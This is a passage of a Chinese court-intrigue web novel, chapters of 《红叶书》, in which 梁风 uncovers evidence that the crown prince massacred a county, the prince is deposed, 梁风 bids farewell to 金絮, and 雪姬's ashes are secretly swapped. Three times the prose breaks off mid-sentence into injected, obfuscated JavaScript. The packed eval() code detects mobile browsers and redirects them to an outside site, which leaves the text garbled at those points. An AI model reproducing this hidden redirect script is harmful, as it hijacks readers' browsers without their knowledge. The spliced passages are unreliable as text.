梁风不用上朝,他将温柔馆账本交给廷尉中收检案子证物的官员,证实雪姬供词不实,温柔馆鸨母与此案无关,可放还鸨母。 他叫老李暂时找了座小院子安置她。确认她安全了,梁风才开始专心查这件案子。 近巳时,冯棹台散朝回来为雪姬封棺,还带来了皇帝的说法。 冯棹台当朝呈上昨夜仵作的验尸结果,弹劾廷尉针对嫌犯雪姬的刑量过重,蓄意致其死亡。 有朝官反驳,雪姬刺杀三皇子是事实,死了也就死了。冯棹台坚持己见,当朝和别的官员争吵起来。 宁安县的案子没有闹大,知道的人很少。同僚们只以为皇帝派了梁风肃贪顺便查三皇子遇刺一案,而暗杀三皇子的刺客已经确认,冯棹台维护一个坐实刺客之名的刑犯,这一举动自然招致许多官员不满。 皇帝没有当众反驳冯棹台,让冯棹台回去和安分王好好细查,查完了再将案子所有细节上报。 朝会散后,因为冯棹台的检举,官员们私下偷偷议论起三皇子和刺客到底是什么关系。 冯棹台不想悄无声息地把案子办完,故意散出流言。梁风这边从太子食邑下手,向太子请求查账。 他见到了刚刚下朝回来的梁与丕。太子殿下似笑非笑,非常大度,扬言所有的账本皇叔都可以随意查。但不能把账本拿走,只能留在东宫,查过一遍没问题就不能再来第二遍了。 于是梁风叫了冯棹台一起连夜查账,将东宫每一笔花出去的钱和大司农府库账目一一对比,找出数目不对的地方。 太子这几年做的最大的事情就是加大对水路运输的投入,开拓湖河航线,这件事情是经过朝廷许可的,并不存在问题。 太子在朝中支持相府扩大水路运输规模的提议,建议多造船只,水路能避开陆路无法避开的大山与深谷,一搜大船承载的货物比马匹车具多出许多,水路可能遇上的危险也比陆路要少。 但这一提议进展不是很顺利,中原数条大江大湖的沿线太长,沿湖气候不稳定,遇到危险容易淹没整个船队,人或许能幸存,但货物极难打捞。这不像走陆路,找一个当地熟悉的向导能避开多数大山里的危险,要找到一个熟识整条水线的人却极难。 太子对这提议的每一笔支出都有相府记录在册,不存在账目问题。 深深地熬了一日一宿,梁风都要撑不住了,冯棹台还能继续撑,“太子的账没问题的话,问题就是出在皇后那儿了。” “皇后?” 冯棹台点头,“皇后很难查,最好的办法是拿出证据,交由陛下调查后宫。” 关键是那册白本。梁风问:“大陀县那边怎么样?” “还不清楚,不知道什么原因大陀县的消息无法传出来。” 冯棹台猜测太子的人可能封锁了大陀县,带着白本的那个人还在大陀县里出不去,等待冯棹台的指示。 目前只能等待大陀县的消息,梁风先回府睡觉,睡前听说金絮醒了。 她的恢复情况良好,梁风给她写封信,让她把温柔馆那些户籍无法处理的姑娘交给他来处理。 帮雪姬查清宁安县的真相是重中之重,也要趁着这段时日有一点点权限,帮金絮处理好姑娘们的户籍。 第三日深夜,终于有大陀县的外部消息传来。 是冯棹台安排在县外围接应的人送来的消息,信中说有人在大陀县各个城门把守,没收出县的人携带的所有纸张书册和一切记录了文字的东西,没收后直接烧毁。 把守很严格,县内任何消息都难以传出去,外面的人一时不敢轻易入城。 大陀县县内有一座巨大的佛陀像,每日都有十里八乡的人前去朝拜。这段时日因为被封,朝拜的人求来的签符都无法带出,民怨积累已深。 冯棹台将情况告知相府,请求游丞相做出应对。相府动作很迅速,立即传令下到大陀县,要求县丞讲明情况。 传令的事情交给相府,可以避免太子暗中下杀手。梁风还想等大陀县回传的奏折,这时接到举报,京城内疑似出现一批不明药材。 举报的人是掌葫钱庄一处分柜的掌柜。掌柜昨天去买药材,买回来才放了一天,药材就湿了。药材的运输不可能走水路,掌柜起疑心就报官了。 梁风想说不定和太子有关,便出手一查,结果查到这批药材的主人是贾镇,就是温柔馆那个常客。 梁风点了贾镇问话,贾镇出示这批药材的过关文书与税目已验收的证明,并说这批药材过两天就会离开京城销往外地,在京城仅是暂放。 两份证明都有官府盖印,梁风更深入一查,发现这两份证明背后都有三皇子打点的痕迹。 梁风很意外,三皇子暗中居然和行商勾勾搭搭。皇帝厌恶的事情有很多,朝中人和商贾往来密切是其中之一。 他刚查完这两份证明,还没想好要怎么处理,午后就有大司农府的人来说,问过三皇子府了,三皇子殿下说不存在这样的事,那两份证明实为作伪的,盖的印盖错了,那批货的税目没有缴纳记录。 梁与棣这是发现自己被查,立即与贾镇撇清关系了。 梁风觉得好笑,宁安县的真相揭开后,很难说太子的下场是怎样,如果这时三皇子这边也出现问题,那就很难从太子的事情中获利了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839913|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做皇子的要帮商贾避税,当然很简单,但与棣也留了一手,随时能作废掉这笔帮助,原来盖的印是假的。 他又想到,三皇子和太子斗来斗去,结果到最后与義坐收渔翁......与義这段时日就很识趣地不冒头。 在他验证这两个文书真伪的时候,暗卫跟踪发现贾镇在试图收购温柔馆。 贾镇着急了,甘愿冒巨大风险,利用温柔馆那口池子埋药材。偷税的后果可不止是补足税目,贾镇不愿承担被三皇子舍弃的代价。 金絮被抓后温柔馆就封了,少人看管才被贾镇盯上。梁风暂不动贾镇,趁这时朝中人的注意都在太子和三皇子身上,带着提前托天机阁弄的几份假卖身契,去给凝荷她们的户籍转良。 这件事办得格外顺利,他还以为会有些阻碍,结果没想到相当顺畅。金絮四处找不到办法解决的事情,他只动了动嘴。 销籍的官员还说转良之后建议换个名字。梁风考虑到她们往后生活方便,就给她们每人简单改了下名字。 办好姑娘们的户籍,梁风这才安排人手在温柔馆伏击贾镇。 贾镇花了两夜把池子抽干,正准备埋货,被梁风抓了个正着。 贾镇的处罚交给官府,抓住贾镇的这天晚上,梁风去看了金絮。 她在睡觉,伤已好了许多,养伤这些天也没有被别人打扰。梁风在她床边坐了后半夜。 另一边,冯棹台终于有了进展。 大陀县的回折抵京,县丞解释之前不是封县,而是全县在搜剿一个逃犯,并没有刻意封锁通讯。 冯棹台说,可以确认白本已经转移出大陀县,正秘密送来京城。冯棹台要和梁风商量,白本到京畿地区后该如何入城,如今城内外卫兵听令于楚通,而楚通是太子的人。 “白本在谁手里?” “不知道,为了保密,携带白本的人信息完全没有泄露,我只知道他上京后会想办法和我们取得联络。” “那有没有可能已经入城了?” 冯棹台一想,点头,“有。” “他要怎么和我们取得联络?他认识你吗?” 冯棹台摇头。 京城里的接应什么都不知道,可以确保护送白本的人足够安全,太子要想探听情报也就是在冯棹台和护送白本的人联络时出现信息泄露的情况下才能知道。 “那还要继续等。”梁风道,等这人主动找过来。 这段时日,他和冯棹台的行动会被太子盯死,任何接近的人都会有危险,梁风不敢去看金絮了。 他没事就上街走走,路遇任何小贩招呼他买东西,梁风全部买下,就猜买来的东西会不会有个暗层夹着什么,结果是买回了一堆没用的东西。 梁风想带着白本的人应当是会和冯棹台联系,担心冯棹台不能落单,便加派了两名暗卫。 这日他又上街买了一堆东西,天空却忽然下起雨来,他只好跑进路边店铺躲雨。 手边随传随到的人变少了,下了雨,给他送伞的暗卫就没了人。 “官爷,您买糖吗?” 店主招呼他。 梁风侧目往店内一打量,陈旧的墙壁和裂皮剥落的木门,小小的铺内散发甜丝丝的气味。 是间卖糖的铺子。金絮爱吃甜的,她来月事得吃红糖。 “红糖有么?” “有。”店主展示几袋排开的麻袋,里面全是红红黑黑的糖粉,“官爷看看想要哪样的?” 梁风低头看着,想随便指一袋,却看见店主殷勤地扯扯袋皮,抖搂糖粉,让甜味更发散出来,却无意露出麻袋表面的字样,写着泔水。 梁风一愣,记得冯棹台说过,白本上京途中有一段路是用油皮纸包裹淹进泔水桶里躲过的。 他突然想到,按理是会联系冯棹台,但他的身份比冯棹台更显眼,送白本上京的人进城一打听情况,很轻易就能知道案子现在是安分王在查。 糖粉黑乎乎的看着有点脏,梁风挑拣道:“看你生意不是很好,你这糖不会是一直放在这卖不出去的吧?袋子都落灰了,你拿点新鲜的给我。” 店主赔笑,“官爷啊,您安心,这都新鲜的,都是我上个月才熬制出来的。我这小本生意,不骗人!” 梁风买下了这袋糖,带着这袋糖去找冯棹台。 冯棹台正要从家里出门,梁风直接拽人进了屋,打开红糖麻袋,糖粉掏了一桌子,掏出里面油纸包着的卷成一筒的小册子。 小册子是黄皮纸封面,巴掌大小,比梁风想象中薄许多。梁风打开看,总共六页,没有封面,每一页写满了字,每个字只比芝麻略大,记载的是大陀县内数十名小孩的口供。 梁风和冯棹台全部看完,内容完全可以证明宁安县在一夜间被屠,宁安县不曾并入大陀县,甚至记录了一个小孩曾目睹军队冲入宁安县杀人的场景。 兵分两路,梁风向皇帝呈报,冯棹台去相府告诉游照同。 梁风进宫,向皇帝口述案子全部内容,亲自上呈证物,包括雪姬上京前后的经历和雪姬刺杀的目的,连同雪姬在狱中因刑量过重而死的缘由全部告诉皇帝。 就算太子能狡辩这小册子是伪造的,但只要能引起皇帝和游照同对这起案子的重视,就不怕查不清梁与丕。 179. 《红叶书》(九九) “那半块已经烧去的旗布只留下画稿。”梁风呈上冯棹台模仿雪姬画出的画稿,“仅看这半面旗帜,足够判断的确是太子的军旗。” 皇帝看着在桌案摆开的所有证据,沉默不语。 夏培在旁边惴惴不安,小腿肚子直发抖。 皇帝扫视所有的证据,说道:“凭这些证据,无法认定屠县的人就是太子。那年你带兵剿匪,随行的人是与丕和与棣,为什么不是与棣?” 梁风拱手道:“陛下,查阅剿匪军报记录便可知,那年太子的队伍曾脱离大部队独自去往牢额边境,说是要遏止山匪与外族勾连,没有经过臣的授令。当时西南群匪散乱,主要的剿匪核心距离宁安县较远,而宁安县靠近西南边境,若是要去一趟宁安县,是需要调出两日专门跑一趟的,而且跑得远了,很难知道过去后干了什么。” “事后臣问过,太子说是希望抓出山匪与牢额私通的人,路上就已经杀了几名山匪。”当时太子的名气越来越大,已经不服他的管教了,梁风坦言道:“那时臣忽略了一个问题,出征前忘记和陛下确认,行军途中如果臣和太子之间发生意见冲突,应该听谁的。” 皇帝不说话。梁风想到雪姬,再道:“还有,那名想要复仇的女子,在此之前从未到过京城,她能分毫不差地画出这面旗帜,足以说明她是亲眼见过的。” 这句话说服力不够足,但是说什么都好,梁风想为雪姬在皇帝面前说句话。 “与棣那时在做什么?”皇帝问。 “与棣那年是首次出证,行军路上吃了不少苦,一路断续生病,做旁的事情精力不济。与棣当时年纪还不大,知道带兵在外要听臣的话,没有离开过臣的授令范围。” 梁风把话说完:“陛下,太子府邸的账目臣已经查过,没有问题。但是臣不确定太子有没有受到皇后的接济,暗中对大陀县疏财打点,仅凭太子一人的食邑和月俸恐怕很难做得神不知鬼不觉。” 再派人去大陀县深入细查,费事不说,去的任何人都容易被收买,不被收买的也容易遇刺身亡,这时最好的做法是查皇后,只看皇帝愿不愿意了。 皇帝看起来不是很愿意信任这些证据,比较偏向太子,不知道游照同知道后怎么打算。 梁风纷杂地想七想八,敏锐地听见殿外响起脚步声。 夏培和皇帝耳语几句,皇帝便挥手让梁风告退。 梁风退出大殿,殿外看见游照同和冯棹台。皇帝叫了游照同进去,留下梁风和冯棹台在外。 他本想留宫等待游照同和皇帝的谈话结果,夏培进殿片刻后出来却说陛下命他们离宫,梁风只好和冯棹台出宫了。 出宫路上,梁风问:“陛下会保太子吗?” “当然。” 梁风看着冯棹台冷漠的脸,问道:“太子会怎么样?” “会死。” 梁风不说话了,和情感有关的事情上他向来猜不准皇帝会想什么。即便不夹私心,太子也该为害死全县的人付出代价。 出宫后,梁风留下几名暗卫探听宫内情况,和冯棹台各自回府。 傍晚时候梁风接到暗卫带来李婶的话,说金絮从养伤的住处搬出去了,她身上差一点疤痕没消掉,走得急了些。 真是不让他省心,梁风也急,急着这件事情结束好见见她。 梁风等了一夜,宫内的动静没有传出来。 隔日,暗卫终于打听到消息。 朝会上,游照同主动曝露太子对宁安县的所作所为,引起满朝哗然。 皇帝让太子当朝解释,太子说当时脱离梁风指挥深入边境的宁安县只是为了追击山匪中勾连外族的奸细,不存在杀光宁安县的事情。 当时的山匪中是否存在外族奸细已经难以求证,据军报记录,太子说的追击也没追击出个结果。 皇帝和游照同开始了无止境的推拉。 相府列出梁风上呈的全部证据,提出细查太子这几年借扩张水路航线的事情向大陀县输送了多少钱财,细查东宫的隐藏账目。 太子拒绝再查,表示之前同意安分王和冯棹台查账时就已经说过不能再查第二遍。 三皇子提议,安分王和冯棹台不能再查第二遍,那可以换个人查第一遍,皇兄的意思还是不要忤逆得好。 暗卫无法打听后宫的情况,梁风猜测这时林昭仪和皇后恐怕也在互相对着干。 大概弄情况各方态度,梁风打定主意,暂时不动。 他这时要绝对小心,不能流露出任何想要战队某一方的意思,皇帝不给他安排任务,他决不能有任何举动,这个时候流连青楼喝花酒才是他首要做的事情。 宁安县的案子他能查的已经查了,不能查的也都告诉皇帝了,剩下的就是他们互斗了。 他现在很想知道温柔馆那边怎么样了,她准备怎么处理温柔馆。 梁风让暗卫叫她带话给他,可是金絮完全没有回应。梁风担心她生气了,没有保护好她,三道鞭伤是很严重的。 梁风不停地托暗卫让她带些话来,暗卫说鸨母正在卖馆,她想卖给官府。 梁风呆了一下,这一天终于到来了,这一天迟早到来的。 幸好他在太南也有宅子。他万幸地松口气,为自己的聪明机智感到庆幸。他真是聪明。 想和她一起过去怕是不行了。梁风让暗卫继续留她身边待命,她卖了馆之后安置好姑娘们,不知道走前会不会和他说声再见。 梁风让暗卫带话给她,她走前是肯定要和他说再见的。他想写折子请旨离京,借着肃贪这件不算立功的事情求个人情。 折子还没写好,皇帝的圣旨来了。夏培抬头挺胸走进王府。 梁风打断计划,跪下听旨。 “近日太子的陈年旧事令圣上深感忧心,急召安分王进宫互诉排解忧肠。” “排解忧肠?”梁风呆住。 皇帝心情不好和他有什么关系,他能怎么办,难道把皇帝的忧肠吃了?吃忧肠不应该是皇帝儿子们做的事情么。 “是。”夏培脸上没有客气的笑容,而是愁眉苦脸,仿佛和皇帝一条心,皇帝的忧思就是大太监的忧思。 朝堂众人互相针对的当口,他不可能拒旨不接,梁风接了旨,和夏培进宫了。 他十分明白,皇帝怕他在这个时候内外走动,收拢人心,要把他放到眼皮子底下盯着。 叮嘱暗卫继续留意她的进度,哪怕只是托话,他也一定要听到这声再见。 临到出府,小缃回来了。 时隔数年,小缃回到王府,还带来了金絮送给他的东西。 金絮送了他东西。 梁风撂下夏培,转头去接金絮送他的东西。 小缃捧着一个大大的锦盒,他充满期待地双手接过来。 很大很沉呢。 他兴冲冲打开一看——一支血色玉如意。 玉如意。 怎么说呢。 梁风拿起来细看,如意色泽很好,红得透亮,相当大,有大半截手臂那么长,他能看出来是很贵重的东西。 盒子里面还有一张字条,写的全是感谢他这些年的帮助之类的客套话。 她觉得他会喜欢这样的东西么。梁风若有所思,她还有钱买这么贵重的东西,小看她了。 梁风放回盒子里,说不上来很高兴,但也不沮丧,他就是莫名有一点没有被她重视的感觉。 先不想那么多吧。梁风递给小缃,“收着吧,记得和她说声,她离京前一定要和我见一面的。” 梁风跟着夏培进宫了。 这个时候进宫倒也有好处,他有余地打点好雪姬的后事。 他估计冯棹台此刻想的肯定是如何妥善安排好雪姬后事,雪姬的尸身还停留在廷尉狱。她大概没法安然下葬,尸身只会裹张席子扔去乱葬岗,冯棹台为她准备的棺椁都会弃掉。 他要争取的是将雪姬尸身交给冯棹台。无论这个案子结果怎么样,他也算是帮皇帝办了事了,肯定要给点奖赏的。进宫去安慰皇帝也好,不然可能讨不到奖赏了。 进了宫,梁风听到了很多宫外听不到的消息。 几名文臣在朝会上死谏,逼太子说出真相。太子矢口否认,坚持说自己当年除了剿匪外什么也没干。 外人难以看出太子背后做了什么,但梁风感觉到游照同被逼急了。 游丞相在用尽一切方法试图保住大陀县的所有人,并与大陀县丞取得联系,这证明有人在暗中对大陀县的人下了杀手。 游丞相背后如何与大陀县丞联系梁风不得而知,只知道大陀县丞不愿意上京,估计是怕遭遇危险。 皇帝忧思过重是真的,接连几名文臣死谏令史书字缝间挤满了字,压得皇帝透不过气。 梁风看着皇帝被催白的头发,心想如果把皇帝逼死了,又找不出太子的罪名,那太子就成了最大的赢家。 而冯棹台那边,无法再次调查东宫账目的情况下,冯棹台将查案重点转移到了太子这几年为了扩大水路运输而多造的船只上面,试图找出蛛丝马迹。 但始终查不出确凿的证据。冯棹台有发现船只甲板的每一块木板中间被凿空了,缝隙足够夹带金片,但是翻遍了所有的船只都找不出金片碎屑,做得很干净。 或许往木板里夹塞金片就是太子向大陀县输钱的途径,但实在找不出痕迹,单凭缝隙无法对太子定罪。 “不是每一趟出海的船都会路过大陀县,因此不是每一趟船都会夹带金片,查这个案子的时机太晚了。”冯棹台同他道。 确实晚了,但凡早一年查雪姬都不会死。梁风不懂查案,给不出什么有效建议,如今只能想着大陀县丞那边会不会有突破口。 他每日都要陪着皇帝,听皇帝诉苦,听皇帝抱怨这几个不争气的儿子,碰不到雪姬的后事,心里无奈,只能寄托于冯棹台争取雪姬的尸身了。 过了两日,文官内似有新动静传出。梁风向冯棹台一打听,有一封信,很关键的信,正在来京的路上。 大陀县丞不愿上京,但写了一封信交给相府。这封信很早就寄出了,可能比白本还要早,在沿路各地辗转停滞了很长时日,最近才突破阻碍进入京畿地区。 大陀县丞在信中投诚,那是一封举报信,信的内容能直接对太子定罪。 游照同看皇帝的眼神变了,太子似乎有所察觉,楚通加重了城内外布防,各城门把守的士兵增多。 梁风整日跟在皇帝身边,难以离开,做不出什么动作。每一次皇帝接收线报的时候他都在旁边,楚通调整巡兵布置的第一时刻,皇帝就已经知道了。 “难道是朕做错了?” 皇帝的后背变得佝偻,忽然说出一句自省的话。 楚通的动作将太子的意图表露得很明显,梁风看着皇帝不断加深的皱纹和白发,在旁边什么也不敢说。 相府派出文官在各城门四处走动,寻找机会接收那封信件。 八月初的一日早朝,梁风参与朝会。朝会刚开始,游照同上呈了一封信件。 梁风眼睁睁看着那封信由夏培交到皇帝手里,他余光偷偷看太子,太子站于首列无动于衷,脑子里不知在想什么。 皇帝拿出信件阅读,看了几遍,信封里面还掉出来两张金片。梁风离得近,看见金片一角盖了个东宫印。 皇帝猛地拍桌站起,手指着太子怒道:“屠县罪大恶极,你该死!” 皇帝年纪还不算老,一声怒吼喊得中气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梁与丕一呵,“有什么不值得,历朝历代,哪一个皇帝的皇椅不是由白骨堆成的。” 梁风闻言气极,“你把宁安县的百姓当白骨,那一众文臣也把你当白骨,你若是死了,是你自找的!” 担这一句皇叔,他这个做长辈的也该教训教训晚辈,毕竟冯棹台很难和太子多说话。 他还想说什么,夏培却寻了过来,说皇帝召见安分王。 梁风不管,坚持骂道:“你但凡有点良心也不会说出白骨这种话,死了活该!你还敢利用雪姬,骗她去杀与棣!你是她的仇人,你才是她的仇人!” 夏培冒汗,“安分王殿下,陛下还等着呢。” 梁与丕虔诚地露出愧疚的脸,“是,侄儿已在悔过,若雪姬有来世,我会报答她。” “放屁!她不要你报答,她要你的命!”梁风恶心这副嘴脸,骂完跟着夏培走了,不想再看见梁与丕。 还没缓过气来,跟着夏培竟然到了暖阁。 梁风登时停下,不想再走一步。 皇帝居然要在暖阁见他,刚才骂梁与丕骂得轻了,应该再骂重一点,往死里骂。 梁风狠着心咬牙走进去,哪里也不敢看。 暖阁正中央坐着皇帝,下垂的面部皱纹仿佛重物压垮着身体,皇帝一夜间苍老了许多。 “是朕做错了。” 梁风一愣,还没坐下,这句话尖锐地刺进耳朵。 空旷的房间内飘着这句假话,轻微的悔恨做不到填满这处房间的空白。 “是朕偏心了。” 松垮的面部悲痛地掉下一滴地狱的眼泪。 真是难得,皇帝会承认自己做错了,可惜这里不是公开的场合,也没有史官在旁边。 和皇帝保持不令人恶心的距离,梁风也悲痛,金絮都快离京了,她的消息一点都传不进宫里来。 梁风越想越忧愁,面上显得和皇帝一条心了。 隔日,皇帝宣布废太子,太子砭为庶民。 多数朝臣反对,游照同和冯棹台反对,砭为庶民不够,太子必须死。 梁风心里没有表情地看皇帝那张老脸,终究感到恶心,悲痛归悲痛,还是护着自己儿子不死。 梁与丕跪了两天是有效果的,居然给自己求来一条命。 梁风不再沉默,一同出列反对,支持太子必死。 皇帝看着下首众人,悲痛的表情逐渐变得冷漠。 太监之间在传,太子屠县的理由是那次剿匪杀的人头数不如三皇子多,怕被三皇子抢了风头。 那是太子和三皇子首次外征剿匪,立功劳很重要,比对方功劳大更重要。 梁风听了厌烦得很,不想留在宫里了,再多待一刻梁与丕没死,他先死了。 在文臣试图再一次集体上书时,皇帝宣布意已决,不顾朝臣反对,对太子的处罚拍了板,文臣没机会再和皇帝拉锯。 连带楚通也遭罢职,部分兵权再次转移。 后宫的皇后或许为了自保,没有一句话传到前朝。 在楚通的兵权全数转移到皇帝的人手里后,梁风以府里人生病为由向皇帝请旨出宫。 皇帝批了他半天,梁风立马东西也不收拾一大早出宫了。 穿过宫门,暗卫当即送来消息,金絮把馆卖了。 她的姑娘们在城内河边开了家铺子,她这段时日就住在那间铺子里,离京也就这两天的事了。 梁风先回府,带上金絮送他的那支玉如意,清早的雾气还没散,骑马赶过去见她。 180. 《红叶书》(一百) 按着暗卫的指示,梁风找去她们开的那间铺子。 她们的铺址选在城内河在城东拐弯的夹角,平常行人比较少,铺金便宜,风景还行也不喧闹,适合她们。 接近城东,沿着城内河骑了一段,梁风一眼看见河边独立的柳树下坐着一个人。 柳条叶子和她的头发一起飘飘飘,清早的风她也不嫌冷。她肯定没吃早饭,梁风没想到给她带饭,空着手来了。 还没骑近,金絮转了头看来。 她脸上一副刚睡醒的样子,头发都没梳。梁风看了她一下,调转马头回去。 他到路边刚开门的早点铺子买了三笼冒着白白热气的小包子,一笼五个,他一手端着包子,一手抱着锦盒,跑过去找她。 她听见声音又扭过头来,平静地看着他。 “我一出宫便赶来找你,生怕你走了,幸好你还未走。”梁风把包子递给她,“快,趁热吃。” 三笼包子的热气蒸着他的手掌心,金絮接过笼子放到两腿膝盖上。梁风这才想起来忘拿签子了,他正要开口,金絮直接上手两个指头捏住包子吃起来。 梁风看她吃得挺香,贴住她坐下,锦盒放到身侧。金絮把最上面一笼的包子给回他,梁风接过和她一块吃起来。 “你起这么早坐在这里干什么呢?” “喝西北风。” “好喝吗?” “还行,八月的风有点热。” “那我们一起喝,光吃包子会噎着吧。” 金絮吃进包子的最后一口,点点头。 包子的馅带点汤汁的,还算湿润,不容易噎,梁风一边嚼一边看她,捋捋心里的话,不知道从哪句开始说。 金絮也嚼包子也看他,梁风接触到她的目光就把头低下,挑选笼子里下一只包子要吃哪个。 金絮继续吃自己的包子。 “你的伤好了吗?” “好了。李婶肯定都告诉你了。” “可是你走得急了些。廷尉的刑鞭容易留下病根,你可以相信李婶的医术。” “我相信李婶。” 她的腮帮子嚼嚼嚼,梁风才吃一个就有点吃不下了。 “你如果身体还有不舒服的地方一定要告诉我,你到了太南找不到什么好大夫的。” 她不说话。梁风捏捏包子皮,犹豫道:“你还会来京城吗?” “不会。” “我在京城......” “也不会。” 梁风把包子皮捏烂,肉馅流出来,他猛地一口把包子吞了。 “吃慢点。”金絮道:“我们距离太远了。” “什么距离远?”梁风两下咽了包子,“太南到京城不过三四天的路程,赶得快的话,两天也就够了。” “不是路程。”她很平静。 “就是路程。” 梁风盯住她,用力地盯住她,看见她眼里认真的神色。 金絮摊手道:“你想想,我如今是从良的风尘女子,而你是王爷,尊崇如你,我们之间相隔鸿沟,这距离远到让我没法因为你在而来京城。” 梁风瞪大眼睛,仔细确认她的话是不是真的,金絮坦然地任他看。 梁风捧着包笼跳起来,“你说的是什么鬼话?!” 他为自己忿忿不平,“你想一想,你仔细回想一下你这些年是怎么对我的,你凶我骂我打我,我还能尊崇?在你眼里我还能是尊崇的?那些神异志怪的话本写得都不如你的鬼话!” 这些话真的从她嘴里说出来了,梁风简直不敢置信,“哪里远了!一点也不远!” 她往石凳的侧边挪一点,和他拉开距离,“就是很远。” 她人挪过去,衣摆留在了原位,梁风对准她的衣服一屁股坐上去。 “哪儿远了?哪儿远了?哪儿远了?”他不断地往她那边挤,证明和她的距离非常近,从肩头到大腿膝盖都是贴在一起的。 金絮看了看被贴住的手臂大腿,然后低头吃包子。 “我不会再上京的,你在或不在,我都不会再来京城了。这鬼地方,谁爱待谁待。” 他就得待在这个鬼地方了。 梁风怨,“你来不来京城我们的距离也不远。” 他碰碰她的膝盖,“快把话收回去,你不管在哪里,你不管什么身份,你都能照常凶我骂我打我。” 金絮闻言顿时一脸疑惑,梁风说出口也发觉不对,这话怎么显得他好像很爱被折磨一样。 他索性道:“我不管,你绝对不能这么想。”他很笃定,“一定是雪姬影响到你了。” “和雪姬无关。”金絮吃完一个包子,问道:“雪姬的事情怎么样了?” “你看,你还要问我事情呢。”梁风有一说一摆道理,“我们之间距离很远的话,你能问我问题吗?” “也是,风尘女子可不敢问王爷问题,我不问了。”金絮从善如流,“我知道她的结局。” “你已经问了,收不回去了,我来告诉你。” 梁风回答她。将太子的所作所为全部告诉她,包括雪姬和三皇子废太子的关系,雪姬行刺的先后细节,还有雪姬和三皇子的关系,还有三皇子的贾镇的关系,和用她馆里那口池子抓住贾镇的事,全部告诉她。 “三皇子杀了长史大人,引起太子警觉,废太子才命雪姬的刺杀计划提前。如果能早一点,冯棹台能早点遇见她......” 金絮眼眶红红的,“早不了,即便有冯棹台在,雪姬还是会走上自己选择的路。” 梁风也明白,冯棹台会帮她,这是冯棹台自己说的。 “废太子便宜他了吧,为什么不杀了?凭什么废太子杀了那么多人却不用偿命?游照同真是窝囊,若换作是我爹......”她顿住,用力擦掉眼泪,“她是觉得我帮不上她,很多事情都不告诉我。” 梁风帮她轻一点地擦掉眼泪,“她是不想让你担心才不说的。” “虽然废太子付出的代价不足够,但冯棹台已经尽可能地为雪姬讨回公道了,至少现在朝堂里的每一个人都知道当年宁安县消失的真相。我想游照同和冯棹台也不会轻易善罢甘休,之后皇帝和游丞相之间只会斗得更狠了。” “哪怕皇帝能把游照同熬死,游照同之后还有御史大夫谢傅,还有迟早会成为御史大夫的冯棹台。冯棹台如果有一天称相,他是不会放过废太子的。” 金絮揉揉脸,止住眼泪。 “我还要处理好雪姬的后事。”雪姬的棺椁一直放在廷尉狱也不是个办法,梁风安慰道:“你放心吧,雪姬会安心的。” 金絮用力点头,“我知道了。” “我也会担心你。你还让小缃回来。”梁风道。 金絮看着他道:“小缃回到王府后你要好好待她。” 梁风张了张嘴,欲言又止,被她看了好久,最后道:“哦。” 他道:“吃包子吧,你的包子还没吃完。” 金絮继续往嘴里塞包子。 她又吃了两个,剩下的两个包子还给他,梁风接过来就吃。 “这些年,多谢梁公子照拂。”她认真道。 梁风又吃不下去了。 “你说的是不是真心话?”他问。 “真心的。你这些年帮了我很多。” “我是说,你觉得我们之间存在鸿沟的话。” 她没答,沉默的样子却不像是在说假话。 梁风将包子笼放旁边,拽着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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刚才和金絮说话时,她的情绪让他有些在意,说的话固然不是他爱听的,但她神情之间好像有点生气了,是一种恼火中还有点无可奈何的伤心的感觉。虽然她前后一直在用吃包子掩饰情绪,梁风还是看出来了,尤其是她刚开始还说喝西北风。 不知道是不是卖馆的事情影响到她,梁风决定查查。 进宫前,梁风先去廷尉确认雪姬的棺椁是否还放在停尸房内。 确认还在后,梁风才进宫。 结果他一进宫才知道,就在刚才的朝会,皇帝将雪姬的尸首交给了三皇子。 前天对太子的判罚敲定,三皇子为自己被刺杀的事找太子要个说法。这种事情三皇子不追究,便没人会对与棣被刺杀的事向废太子问责,然而梁与棣追究了。 废太子以一个庶民的身份,当然无法反抗。废太子旨令下来后梁与丕就被三皇子抓入府中绑了,今日一早才被皇帝出面解救。 皇帝下旨,罚废太子贬黜京城,流放三千里,未经许可不得上京。以及,雪姬的尸首交由三皇子自行处理。 冯棹台向三皇子讨要雪姬尸身,三皇子不给。 梁风赶紧出面,也向三皇子索要,梁与棣仍是不给。 三皇子的人去廷尉调来雪姬棺椁,本想开棺,然而雪姬尸身已腐,不方便开了,梁与棣便直接下令将刺客火化。 梁风忘了,打点了乱葬岗,忘了打点火葬场。 梁风向陛下请旨,皇帝不理,由着梁与棣去。 他立马赶去火葬场,在前院看见冯棹台还在对三皇子游说拖延。 他和冯棹台很默契,避开三皇子耳目去到后面的焚尸炉,抓紧打发下人,用个骨灰坛装了点干炉里的灰交给暗卫掉包,自己则去外面拖延下人。 他的动静吸引了梁与棣,三皇子闻声赶来,这时焚尸炉的动静停歇。 梁与棣走近一看,雪姬的炉熄了,炉外摆着一只骨灰坛。 暗卫成功将骨灰掉包,梁风松了口气。 事后梁与棣肯定会回过神来,但到那时已经晚了。 181. 《红叶书》(一零一) 冯棹台拿走雪姬的骨灰,梁与棣拿走不知名的棺材干灰。 一件事情落地,接下来是该如何离京的问题。 